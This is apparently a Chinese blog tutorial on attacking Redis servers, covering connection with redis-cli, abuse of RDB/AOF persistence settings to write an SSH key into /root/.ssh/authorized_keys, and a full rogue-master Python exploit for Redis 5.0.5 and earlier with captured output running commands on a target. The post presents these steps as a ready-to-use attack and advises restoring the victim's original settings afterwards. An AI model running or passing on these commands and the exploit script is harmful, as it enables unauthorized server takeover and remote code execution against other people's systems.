Redis-漏洞

Redis-漏洞

Redis-漏洞

工具

安装redis-cli客户端连接

Windows 版 redis-cli(非官方)GitHub / tporadowski / redis:

text-plain 复制代码
https://github.com/tporadowski/redis/releases

建议下载免安装版本:Redis-x64-5.0.14.1.zip

zip下载解压后,建议设置环境遍历,方便运行

连接Redis服务器

text-plain 复制代码
redis-cli -h [IP] -p [port] -a [password]

-h:服务器地址

-p:Redis运行端口【默认6379】

-a:Redis服务器密码【默认为空】

连上服务器后先 PING一下看看通联情况

利用-持久化

查看持久化机制

Redis 有 两种持久化机制 :1️⃣ RDB(快照)2️⃣AOF(日志)

RDB 写的是"当前内存里的所有数据"

AOF 写的是"文本形式的命令"

查看是否开启【RDB】持久化

如果save值为空,则表示没启动

text-plain 复制代码
CONFIG GET save

查询结果

  • 900 秒内有 1 次写 → 保存
  • 300 秒内有 10 次写 → 保存
  • 60 秒内有 10000 次写 → 保存
text-plain 复制代码
127.0.0.1:6379> CONFIG GET save
1) "save"
2) "900 1 300 10 60 10000"

查看保存路径和文件名

text-plain 复制代码
CONFIG GET dbfilename
CONFIG GET dir

查询结果

  • 保存文件名:dump.rdb
  • 保存目录:/tmp/redis/redis/redis-5.0.14
text-plain 复制代码
192.168.75.131:6379> CONFIG GET dbfilename
1) "dbfilename"
2) "dump.rdb"
192.168.75.131:6379> CONFIG GET dir
1) "dir"
2) "/tmp/redis/redis/redis-5.0.14"
查看是否开启【AOF】持久化

如果appendonly值为no,则表示没启动

text-plain 复制代码
CONFIG GET appendonly

查看存储策略

策略 含义 安全性 性能
always 每次写都刷盘 最高 最慢
everysec 每秒刷一次 推荐 平衡
no OS 决定 最差 最快
text-plain 复制代码
CONFIG GET appendfsync

查看保存文件名,可能查不到

text-plain 复制代码
CONFIG GET appendfilename

ssh密钥写入【cron利用失败】

生成ssh密钥

本地生成SSH密钥对(如果已有可跳过)

  • 公钥【放服务器】:id_rsa_ssh.pub
  • 私钥【连服务器】:id_rsa_ssh
text-plain 复制代码
ssh-keygen -t rsa -f id_rsa_ssh

ssh密钥 写入 到 Redis 内存中

ssh和Cron都是逐行扫描密钥、忽略二进制和错误格式的数据,并且没有报错提示,所以ssh读取密钥的时候,乱码会被自动忽略

写入的key名称别重复,或者被覆盖

text-plain 复制代码
set [key] "\n\\n  authorized_keys  \n\\n"

设置:存储目录、存储名称、保存

RDB

记得把人家原来的存储位置和存储文件名改回去

查看持久化目录【RDB和AOF都是使用一个目录存储】

text-plain 复制代码
config get dir

查看持久化文件名称

text-plain 复制代码
config get dbfilename

修改持久化目录

这里演示的是root,记得改成对于的用户名,并且使用该用户名+密钥登陆

不知道用户名称可以使用脚本破解

text-plain 复制代码
config set dir /root/.ssh/
config set dir /usr/local/zhuzi/soft/redis/redis-8.2.2/bin/bin

报错解析

报错内容 报错解释
(error) ERR Changing directory: Permission denied (错误)更改目录时出错:权限被拒绝
(error) ERR Changing directory: No such file or directory 报错:(错误)更改目录时出错:没有这样的文件或目录
(error) ERR unknown command 'CONFIG' 命令被 禁用或重命名
(error) ERR CONFIG SET failed (possibly related to protected-mode) protected-mode 开启或者Redis 判断该操作具有风险
(error) ERR Changing directory: Operation not permitted OS 层拒绝(非文件权限问题)

修改持久化文件名称

text-plain 复制代码
config set dbfilename authorized_keys

手动触发存储

text-plain 复制代码
save      # 同步(阻塞)
bgsave    # 异步(推荐)

记得把人家原来的存储位置和存储文件名改回去


AOF

记得把人家原来的存储位置和存储文件名改回去

查看持久化目录【RDB和AOF都是使用一个目录存储】

text-plain 复制代码
CONFIG GET dir

查看持久化文件名称

text-plain 复制代码
CONFIG GET appendfilename

如果报错显示如下,说明修改不了,无法利用

text-plain 复制代码
192.168.75.131:6379> CONFIG GET appendfilename
(empty list or set)

修改持久化目录

这里演示的是root,记得改成对于的用户名,并且使用该用户名+密钥登陆

text-plain 复制代码
config set dir /root/.ssh/

报错解析

报错内容 报错解释
(error) ERR Changing directory: Permission denied (错误)更改目录时出错:权限被拒绝
(error) ERR Changing directory: No such file or directory 报错:(错误)更改目录时出错:没有这样的文件或目录
(error) ERR unknown command 'CONFIG' 命令被 禁用或重命名
(error) ERR CONFIG SET failed (possibly related to protected-mode) protected-mode 开启或者Redis 判断该操作具有风险
(error) ERR Changing directory: Operation not permitted OS 层拒绝(非文件权限问题)

修改持久化文件名称

text-plain 复制代码
config set dbfilename authorized_keys

手动触发存储

text-plain 复制代码
BGREWRITEAOF      #触发 AOF 重写
SET aof_test 1    #触发 AOF 缓冲区刷盘

判断 Redis 是否以 root 运行

从操作系统进程层面看(最可靠)

第一种命令

text-plain 复制代码
ps aux | grep redis

最左边那一列就是运行 Redis 的系统用户

text-plain 复制代码
root      1234  0.2  ... redis-server 127.0.0.1:6379

第二种命令

text-plain 复制代码
ps -o user,pid,cmd -C redis-server

这条命令的好处是:

  • 不会被 grep redis 的自身进程干扰
  • 输出更干净,适合写报告
text-plain 复制代码
>ps -o user,pid,cmd -C redis-server
USER       PID   CMD
xk         13346 redis-server *:6379

Redis(<=5.0.5) RCE

准备脚本和exp.so文件

两个终端需要互相访问,最后的"id"是执行的命令

text-plain 复制代码
python3 redis-master.py -r 被攻击方ip -p 6379 -L 攻击方ip -P 8888 -f exp.so -c "id"

结果如下

text-plain 复制代码
F:\XiaZai\redis-rogue-getshell-master>python redis-master.py -r 192.168.75.131 -p 6379 -L 192.168.75.1 -P 8888 -f exp.so -c "whoami"
>> send data: b'*3\r\n$7\r\nSLAVEOF\r\n$12\r\n192.168.75.1\r\n$4\r\n8888\r\n'
>> receive data: b'+OK\r\n'
>> send data: b'*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$6\r\nexp.so\r\n'
>> receive data: b'+OK\r\n'
>> receive data: b'*1\r\n$4\r\nPING\r\n'
>> receive data: b'*3\r\n$8\r\nREPLCONF\r\n$14\r\nlistening-port\r\n$4\r\n6379\r\n'
>> receive data: b'*5\r\n$8\r\nREPLCONF\r\n$4\r\ncapa\r\n$3\r\neof\r\n$4\r\ncapa\r\n$6\r\npsync2\r\n'
>> receive data: b'*3\r\n$5\r\nPSYNC\r\n$40\r\n45730e185f41518fa29df21f4beb23f71b7ca557\r\n$1\r\n1\r\n'
>> send data: b'*3\r\n$6\r\nMODULE\r\n$4\r\nLOAD\r\n$8\r\n./exp.so\r\n'
>> receive data: b'+OK\r\n'
>> send data: b'*3\r\n$7\r\nSLAVEOF\r\n$2\r\nNO\r\n$3\r\nONE\r\n'
>> receive data: b'+OK\r\n'
>> send data: b'*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$8\r\ndump.rdb\r\n'
>> receive data: b'+OK\r\n'
>> send data: b'*2\r\n$11\r\nsystem.exec\r\n$6\r\nwhoami\r\n'
>> receive data: b'$4\r\nNxk\n\r\n'
Nxk

>> send data: b'*3\r\n$6\r\nMODULE\r\n$6\r\nUNLOAD\r\n$6\r\nsystem\r\n'
>> receive data: b'+OK\r\n'

F:\XiaZai\redis-rogue-getshell-master>

python脚本

下载地址

text-plain 复制代码
https://github.com/vulhub/redis-rogue-getshell?tab=readme-ov-file

文件内容如下

text-plain 复制代码
#!/usr/bin/env python3
import os
import sys
import argparse
import socketserver
import logging
import socket
import time

logging.basicConfig(stream=sys.stdout, level=logging.INFO, format='>> %(message)s')
DELIMITER = b"\r\n"


class RoguoHandler(socketserver.BaseRequestHandler):
    def decode(self, data):
        if data.startswith(b'*'):
            return data.strip().split(DELIMITER)[2::2]
        if data.startswith(b'$'):
            return data.split(DELIMITER, 2)[1]

        return data.strip().split()

    def handle(self):
        while True:
            data = self.request.recv(1024)
            logging.info("receive data: %r", data)
            arr = self.decode(data)
            if arr[0].startswith(b'PING'):
                self.request.sendall(b'+PONG' + DELIMITER)
            elif arr[0].startswith(b'REPLCONF'):
                self.request.sendall(b'+OK' + DELIMITER)
            elif arr[0].startswith(b'PSYNC') or arr[0].startswith(b'SYNC'):
                self.request.sendall(b'+FULLRESYNC ' + b'Z' * 40 + b' 1' + DELIMITER)
                self.request.sendall(b'$' + str(len(self.server.payload)).encode() + DELIMITER)
                self.request.sendall(self.server.payload + DELIMITER)
                break

        self.finish()

    def finish(self):
        self.request.close()


class RoguoServer(socketserver.TCPServer):
    allow_reuse_address = True

    def __init__(self, server_address, payload):
        super(RoguoServer, self).__init__(server_address, RoguoHandler, True)
        self.payload = payload


class RedisClient(object):
    def __init__(self, rhost, rport):
        self.client = socket.create_connection((rhost, rport), timeout=10)

    def send(self, data):
        data = self.encode(data)
        self.client.send(data)
        logging.info("send data: %r", data)
        return self.recv()

    def recv(self, count=65535):
        data = self.client.recv(count)
        logging.info("receive data: %r", data)
        return data

    def encode(self, data):
        if isinstance(data, bytes):
            data = data.split()

        args = [b'*', str(len(data)).encode()]
        for arg in data:
            args.extend([DELIMITER, b'$', str(len(arg)).encode(), DELIMITER, arg])

        args.append(DELIMITER)
        return b''.join(args)


def decode_command_line(data):
    if not data.startswith(b'$'):
        return data.decode(errors='ignore')

    offset = data.find(DELIMITER)
    size = int(data[1:offset])
    offset += len(DELIMITER)
    data = data[offset:offset+size]
    return data.decode(errors='ignore')


def exploit(rhost, rport, lhost, lport, expfile, command, auth):
    with open(expfile, 'rb') as f:
        server = RoguoServer(('0.0.0.0', lport), f.read())

    client = RedisClient(rhost, rport)

    lhost = lhost.encode()
    lport = str(lport).encode()
    command = command.encode()

    if auth:
        client.send([b'AUTH', auth.encode()])

    client.send([b'SLAVEOF', lhost, lport])
    client.send([b'CONFIG', b'SET', b'dbfilename', b'exp.so'])
    time.sleep(2)

    server.handle_request()
    time.sleep(2)

    client.send([b'MODULE', b'LOAD', b'./exp.so'])
    client.send([b'SLAVEOF', b'NO', b'ONE'])
    client.send([b'CONFIG', b'SET', b'dbfilename', b'dump.rdb'])
    resp = client.send([b'system.exec', command])
    print(decode_command_line(resp))

    client.send([b'MODULE', b'UNLOAD', b'system'])


def main():
    parser = argparse.ArgumentParser(description='Redis 4.x/5.x RCE with RedisModules')
    parser.add_argument("-r", "--rhost", dest="rhost", type=str, help="target host", required=True)
    parser.add_argument("-p", "--rport", dest="rport", type=int,
                        help="target redis port, default 6379", default=6379)
    parser.add_argument("-L", "--lhost", dest="lhost", type=str,
                        help="rogue server ip", required=True)
    parser.add_argument("-P", "--lport", dest="lport", type=int,
                        help="rogue server listen port, default 21000", default=21000)
    parser.add_argument("-f", "--file", type=str, help="RedisModules to load, default exp.so", default='exp.so')
    parser.add_argument('-c', '--command', type=str, help='Command that you want to execute', default='id')

    parser.add_argument("-a", "--auth", dest="auth", type=str, help="redis password")
    options = parser.parse_args()

    filename = options.file
    if not os.path.exists(filename):
        logging.info("Where you module? ")
        sys.exit(1)

    exploit(options.rhost, options.rport, options.lhost, options.lport, filename, options.command, options.auth)


if __name__ == '__main__':
    main()

exp.so文件

下载地址

text-plain 复制代码
https://github.com/n0b0dyCN/redis-rogue-server
相关推荐
·云扬·1 分钟前
MySQL 8.0 Redo Log 归档与禁用实战指南
android·数据库·mysql
IT邦德4 分钟前
Oracle 26ai DataGuard 搭建(RAC到单机)
数据库·oracle
惊讶的猫30 分钟前
redis分片集群
数据库·redis·缓存·分片集群·海量数据存储·高并发写
不爱缺氧i39 分钟前
完全卸载MariaDB
数据库·mariadb
期待のcode41 分钟前
Redis的主从复制与集群
运维·服务器·redis
纤纡.1 小时前
Linux中SQL 从基础到进阶:五大分类详解与表结构操作(ALTER/DROP)全攻略
linux·数据库·sql
jiunian_cn1 小时前
【Redis】渐进式遍历
数据库·redis·缓存
橙露1 小时前
Spring Boot 核心原理:自动配置机制与自定义 Starter 开发
java·数据库·spring boot
冰暮流星1 小时前
sql语言之分组语句group by
java·数据库·sql
符哥20081 小时前
Ubuntu 常用指令集大全(附实操实例)
数据库·ubuntu·postgresql